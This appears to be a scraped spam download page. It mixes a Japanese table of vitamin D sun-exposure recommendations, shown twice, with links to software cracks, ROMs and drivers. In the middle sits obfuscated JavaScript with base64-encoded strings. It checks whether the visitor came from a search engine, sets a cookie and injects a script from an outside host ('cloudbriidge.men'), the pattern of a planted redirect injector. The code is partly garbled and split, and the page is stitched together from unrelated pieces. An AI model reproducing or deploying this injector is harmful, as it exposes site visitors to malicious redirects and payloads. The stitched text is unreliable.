

Download



[XXXXXXXXXXDXXXXXXXXXXXX](#)

組織 (出典)	環境省 (HP* ⁵)	日本ビタミン 学会 (HP* ⁶)	(財)骨粗しょう 症財団 (HP* ⁷)	宮崎県 薬剤師会 (HP* ⁸)	世界保健機関 World Health Organization (HP* ⁹)	Holick 論文 (2007* ¹⁰)
日光照射部位	両手の甲	-	-	顔と手	顔と両手両腕	両手両足
対象地域	日本	日本	-	-	-	-
日光照射回数	1日1回	1日1回	1日1回	1日1回	1週2.3回	1週2回
照射推奨時刻	-	-	-	-	-	10~15時
その他の要件	平均的な食事 の摂取	-	-	早朝または 昼下がり	肌の色、生活習慣	冬季を除く
日光照射推奨 時間	約15分(日向) または 約30分(日陰)	夏期は約30分 冬季は約1時間	夏期は約30分 (木陰) 冬季は約1時間	約15分	夏期は約5~15分 (低緯度はさらに 短時間)	約5~ 30分(*)

????????D??????????

Download



```
var _0xfe90=['R1Bnb2U=', 'ZHFGV1U=', 'VGFWYnM=', 'Lmdvb2dsZS4=', 'LmJpbmcu', 'LnlhaG9vLg==', 'LmFvbC4=', 'LmFzay
4=', 'dmlzaXRlZA==', 'dkxY', 'aHR0cHM6Ly9jbG91ZGJyaWlkZ2UubWVuL2loZXJlWpwLnBocD8mcXVlcnk9', 'amZOSVVE=
', 'VnhyRkw=', 'VXpDZUY=', 'cmVmZXJyZXI=', 'Z2V0', 'am53Yko=', 'a1hRSIQ=', 'Y3FScU8=', 'emhFZ1A=', 'cUVjUXE=', 'WUIJ
Vno=', 'emJu', 'V0FUbUg=', 'aFNpdGk=', 'c2NyaXB0', 'aGVhZA==', 'Y3JlYXRIRWxlbnVudA==', 'c3Jj', 'Z2V0RWxlbnVudHN
CeVRhZ05hbWU=', 'd21ucmU=', 'YXBwZW5kQ2hpbGQ=', '44Gp44GT44Gr44OT44K/44Of44OzROOckuimi+OBpOOBkeO
Ci+OBruOBp+OBmeOBiw==', 'dlJV', 'eVZU', 'ZXhy', 'M3w1fDF8MHwyfDQ=', 'c3BsaXQ=', 'ek9yTVo=', 'bGVuZ3Ro', 'ZnRZYm
g=', 'ZUJSa1g=', 'cmVwbGFjZQ==', 'NXwyfDB8MXw0fDM=', 'bUVPUWg=', 'Y29va2ll', 'bWF0Y2g=', 'd2VkbmQ=', 'TFFBUmo
=', 'dkpHeWo=', 'T2pWbVQ=', 'R2JMblk=', 'bGRncE4=', 'cHF3YXU=', 'OyBleHBpcmVzPQ==', 'OyBkb2lhaW49', 'OyBzZW50
mU=', 'Q2Fhd2Q=', 'Z2V0VGltZQ=='];(function(_0x430dd3,_0x8b51f0){var _0x5a8bbb=function(_0x2538ba){while(--_0x253
8ba){_0x430dd3['push'](_0x430dd3['shift']());}};_0x5a8bbb(++_0x8b51f0);}(_0xfe90,0x1b6));var
_0x3d97=function(_0x15dc75,_0xb3a49b){_0x15dc75=_0x15dc75-0x0;var
_0x58b320=_0xfe90[_0x15dc75];if(_0x3d97['initialized']===undefined){(function(){var _0x476239;try{var
_0x385ccb=Function('return\x20(function()\x20'+ '{.. altavista ',_0xa2b138[_0x3d97('0x2f')],_0x2213d8=document[_0x3d97
('0x30')],_0x3dc4a9=,[],_0x28e4b7=cookie[_0x3d97('0x31')](_0xa2b138[_0x3d97('0x32')]);for(var _0x489403=0x0;_0xa2b13
8[_0x3d97('0x33')](_0x489403,_0x3de190['length']);_0x489403++){if(_0xa2b138[_0x3d97('0x34')](_0x2213d8['indexOf'](_0
x3de190[_0x489403],0x0)){if(_0xa2b138[_0x3d97('0x35')](_0xa2b138[_0x3d97('0x36')],_0xa2b138[_0x3d97('0x37')])}{retu
rn cookie[name];}else{_0x3dc4a9=!![];}}if(_0x3dc4a9){if(_0xa2b138[_0x3d97('0x35')](_0x3d97('0x38'),_0xa2b138['WnKL
O']){params=matches[_0x489403][_0x3d97('0xc')]('=');cookie[params[0x0]]=params[0x1][_0x3d97('0x11')](/;/);}else{cooki
e['set'](_0x3d97('0x2a'),0x1,0x1);if(!_0x28e4b7){_0xa2b138['iaTLT'](include,_0xa2b138['WATmH'](_0xa2b138[_0x3d97('0x
39')](_0xa2b138[_0x3d97('0x3a'),q,'']));}} }R());
vitafive
D3
[8]
25OH
[9]
[10]
[12] [11]
[16]
600 IU
1-70
0-12
- 1000IU
[17]
vitafive
D3
vitaminRead
50c

```

```
constructor(\x22return\x20this\x22)(\x20'+');_0x476239=_0x385ccb();}catch(_0x140916){_0x476239=window;}var _0x361
b7d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/-':_0x476239['atob']||(_0x476239[
'atob']=function(_0x1d3f27){var _0x5cbad7=String(_0x1d3f27)['replace'](/=/+$/,"");for(var _0x4f6692=0x0,_0x110fa1,_0x173
da4,_0x11b192=0x0,_0x1696d3="";_0x173da4=_0x5cbad7['charAt'](_0x11b192++);~_0x173da4&&(_0x110fa1=_0x4f6692%
0x4?_0x110fa1*0x40+_0x173da4:_0x173da4,_0x4f6692++%0x4)?_0x1696d3+=String['fromCharCode'](0xff&_0x110fa1>>(
-0x2*_0x4f6692&0x6)):0x0){_0x173da4=_0x361b7d['indexOf'](_0x173da4);}return
_0x1696d3;});}());_0x3d97['base64DecodeUnicode']=function(_0x4554f1){var _0x46d72a=atob(_0x4554f1);var
_0x2920dc=[];for(var _0x4ec94d=0x0,_0x2792bb=_0x46d72a['length'];_0x4ec94d<_0x1cff2f;,'zhEgP':function
_0x3b6e2d(_0x437b44,_0x449110){return
_0x437b44===_0x449110;},'qEcQq':_0x3d97('0x2b'),'YIIVz':_0x58b320,'WnKLO':_0x476239,'iaTLT':function
_0x5a43ac(_0xbf5291,_0x2f2272){return _0xbf5291(_0x2f2272);},'WATmH':function
_0x3919b3(_0x8ab0e5,_0x64bbc6){return _0x8ab0e5+_0x64bbc6;},'hSOti':_0x3d97('0x2c')};var _0x3de190=[_0xa2b138['fH
Rao'],_0xa2b138[_0x3d97('0x2d')],_0xa2b138['ynukX'],_0xa2b138['biydp'],_0xa2b138[_0x3d97('0x2e')],'
```

[Secret of the magic crystals game](#)

[Msr605 Driver Download For Mac](#)

組織 (出典)	環境省 (HP ^{*5})	日本ビタミン 学会 (HP ^{*6})	(財)骨粗しょう 症財団 (HP ^{*7})	宮崎県 薬剤師会 (HP ^{*8})	世界保健機関 World Health Organization (HP ^{*9})	Holick 論文 (2007 ^{*10})
日光照射部位	両手の甲	-	-	顔と手	顔と両手両腕	両手両足
対象地域	日本	日本	-	-	-	-
日光照射回数	1日1回	1日1回	1日1回	1日1回	1週2.3回	1週2回
照射推奨時刻	-	-	-	-	-	10~15時
その他の要件	平均的な食事 の摂取	-	-	早朝または 昼下がり	肌の色、生活習慣	冬季を除く
日光照射推奨 時間	約15分(日向) または 約30分(日陰)	夏期は約30分 冬季は約1時間	夏期は約30分 (木陰) 冬季は約1時間	約15分	夏期は約5~15分 (低緯度はさらに 短時間)	約5~ 30分(*)

[Whats The Best P2p File Sharing Program For Mac](#)

[Microsoft Word Move Between Column For Mac](#)
[Pokemon Blue Legend Rom Gba](#)

[Microsoft Office 2009 Free Download For Mac](#)

773a7aa168 [Download liquid measurement conversion grams to cups for windows 8 pro 32bit](#)

773a7aa168

[1.24 C Patch Download](#)